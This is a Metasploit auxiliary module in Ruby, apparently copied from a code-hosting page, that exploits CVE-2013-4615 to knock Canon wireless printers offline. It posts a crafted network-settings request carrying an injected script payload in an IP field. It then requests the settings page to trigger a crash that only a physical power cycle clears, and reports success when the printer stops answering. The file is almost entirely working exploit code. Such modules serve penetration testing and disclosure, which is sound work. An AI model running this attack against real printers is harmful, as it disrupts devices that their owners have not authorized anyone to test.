93 lines
2.6 KiB
Ruby
93 lines
2.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Canon Wireless Printer Denial Of Service',
|
|
'Description' => %q{
|
|
The HTTP management interface on several models of Canon Wireless printers
|
|
allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:
|
|
if this module is successful, the device can only be recovered with a physical
|
|
power cycle.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2013-4615' ],
|
|
[ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
|
|
],
|
|
'DisclosureDate' => 'Jun 18 2013'))
|
|
end
|
|
|
|
def is_alive?
|
|
res = send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => '/',
|
|
},10)
|
|
|
|
return !res.nil?
|
|
end
|
|
|
|
def run
|
|
|
|
begin
|
|
|
|
# The first request will set the new IP
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => '/English/pages_MacUS/cgi_lan.cgi',
|
|
'data' => 'OK.x=61' +
|
|
'&OK.y=12' +
|
|
'&LAN_OPT1=2' +
|
|
'&LAN_TXT1=Wireless' +
|
|
'&LAN_OPT3=1' +
|
|
'&LAN_TXT21=192' +
|
|
'&LAN_TXT22=168' +
|
|
'&LAN_TXT23=1' +
|
|
'&LAN_TXT24=114"><script>alert(\'xss\');</script>' +
|
|
'&LAN_TXT31=255' +
|
|
'&LAN_TXT32=255' +
|
|
'&LAN_TXT33=255' +
|
|
'&LAN_TXT34=0' +
|
|
'&LAN_TXT41=192' +
|
|
'&LAN_TXT42=168' +
|
|
'&LAN_TXT43=1' +
|
|
'&LAN_TXT44=1' +
|
|
'&LAN_OPT2=4' +
|
|
'&LAN_OPT4=1' +
|
|
'&LAN_HID1=1'
|
|
})
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
|
|
print_error("Couldn't connect to #{rhost}:#{rport}")
|
|
return
|
|
end
|
|
|
|
# The second request will load the network options page, which seems to trigger the DoS
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => '/English/pages_MacUS/lan_set_content.html'
|
|
},5) #default timeout, we don't care about the response
|
|
|
|
# Check to see if it worked or not
|
|
if is_alive?
|
|
print_error("#{rhost}:#{rport} - Server is still alive")
|
|
else
|
|
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
|
|
end
|
|
|
|
end
|
|
end
|